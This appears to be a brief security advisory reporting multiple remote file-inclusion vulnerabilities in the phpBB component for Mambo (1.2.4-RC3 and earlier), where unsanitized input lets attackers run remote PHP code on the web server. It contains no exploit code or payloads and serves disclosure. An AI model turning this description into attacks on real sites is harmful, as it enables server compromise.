Mambo Componen phpBB 1.2.4 - Multiple Remote File Inclusions

source: https://www.securityfocus.com/bid/18914/info

phpBB for Mambo is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Versions 1.2.4-RC3 and prior are affected.
